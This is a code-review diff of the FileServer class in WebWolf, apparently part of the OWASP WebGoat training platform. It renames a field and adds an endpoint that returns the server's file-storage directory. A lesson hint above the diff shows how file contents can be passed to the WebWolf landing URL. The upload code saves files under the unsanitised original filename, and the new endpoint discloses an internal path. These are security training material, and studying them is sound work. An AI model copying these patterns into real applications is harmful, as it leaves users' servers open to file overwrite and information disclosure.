Try to upload this file using WebWolf landing page for example: `webWolfRootLink:landing?text=contents_file[noLink]`
|
||||||
|
@ -31,17 +31,23 @@ import lombok.extern.slf4j.Slf4j;
|
|||||||
import org.apache.commons.io.FileUtils;
|
import org.apache.commons.io.FileUtils;
|
||||||
import org.owasp.webwolf.user.WebGoatUser;
|
import org.owasp.webwolf.user.WebGoatUser;
|
||||||
import org.springframework.beans.factory.annotation.Value;
|
import org.springframework.beans.factory.annotation.Value;
|
||||||
|
import org.springframework.http.MediaType;
|
||||||
import org.springframework.security.core.context.SecurityContextHolder;
|
import org.springframework.security.core.context.SecurityContextHolder;
|
||||||
import org.springframework.stereotype.Controller;
|
import org.springframework.stereotype.Controller;
|
||||||
import org.springframework.ui.ModelMap;
|
import org.springframework.ui.ModelMap;
|
||||||
import org.springframework.web.bind.annotation.GetMapping;
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
import org.springframework.web.bind.annotation.PostMapping;
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
import org.springframework.web.bind.annotation.RequestParam;
|
import org.springframework.web.bind.annotation.RequestParam;
|
||||||
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
import org.springframework.web.multipart.MultipartFile;
|
import org.springframework.web.multipart.MultipartFile;
|
||||||
import org.springframework.web.servlet.ModelAndView;
|
import org.springframework.web.servlet.ModelAndView;
|
||||||
import org.springframework.web.servlet.view.RedirectView;
|
import org.springframework.web.servlet.view.RedirectView;
|
||||||
|
|
||||||
import javax.servlet.http.HttpServletRequest;
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
|
||||||
|
import static org.springframework.http.MediaType.ALL_VALUE;
|
||||||
|
|
||||||
import java.io.File;
|
import java.io.File;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
|
|
||||||
@ -53,18 +59,23 @@ import java.util.List;
|
|||||||
public class FileServer {
|
public class FileServer {
|
||||||
|
|
||||||
@Value("${webwolf.fileserver.location}")
|
@Value("${webwolf.fileserver.location}")
|
||||||
private String fileLocatation;
|
private String fileLocation;
|
||||||
@Value("${server.address}")
|
@Value("${server.address}")
|
||||||
private String server;
|
private String server;
|
||||||
@Value("${server.port}")
|
@Value("${server.port}")
|
||||||
private int port;
|
private int port;
|
||||||
|
|
||||||
|
@RequestMapping(path="/tmpdir",consumes = ALL_VALUE, produces=MediaType.TEXT_PLAIN_VALUE)
|
||||||
|
@ResponseBody
|
||||||
|
public String getFileLocation() {
|
||||||
|
return fileLocation;
|
||||||
|
}
|
||||||
|
|
||||||
@PostMapping(value = "/WebWolf/fileupload")
|
@PostMapping(value = "/WebWolf/fileupload")
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public ModelAndView importFile(@RequestParam("file") MultipartFile myFile) {
|
public ModelAndView importFile(@RequestParam("file") MultipartFile myFile) {
|
||||||
WebGoatUser user = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal();
|
WebGoatUser user = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal();
|
||||||
File destinationDir = new File(fileLocatation, user.getUsername());
|
File destinationDir = new File(fileLocation, user.getUsername());
|
||||||
destinationDir.mkdirs();
|
destinationDir.mkdirs();
|
||||||
myFile.transferTo(new File(destinationDir, myFile.getOriginalFilename()));
|
myFile.transferTo(new File(destinationDir, myFile.getOriginalFilename()));
|
||||||
log.debug("File saved to {}", new File(destinationDir, myFile.getOriginalFilename()));
|
log.debug("File saved to {}", new File(destinationDir, myFile.getOriginalFilename()));
|
||||||
@ -90,7 +101,7 @@ public class FileServer {
|
|||||||
public ModelAndView getFiles(HttpServletRequest request) {
|
public ModelAndView getFiles(HttpServletRequest request) {
|
||||||
WebGoatUser user = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal();
|
WebGoatUser user = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal();
|
||||||
String username = user.getUsername();
|
String username = user.getUsername();
|
||||||
File destinationDir = new File(fileLocatation, username);
|
File destinationDir = new File(fileLocation, username);
|
||||||
|
|
||||||
ModelAndView modelAndView = new ModelAndView();
|
ModelAndView modelAndView = new ModelAndView();
|
||||||
modelAndView.setViewName("files");
|
modelAndView.setViewName("files");
|
||||||
|
Loading…
x
Reference in New Issue
Block a user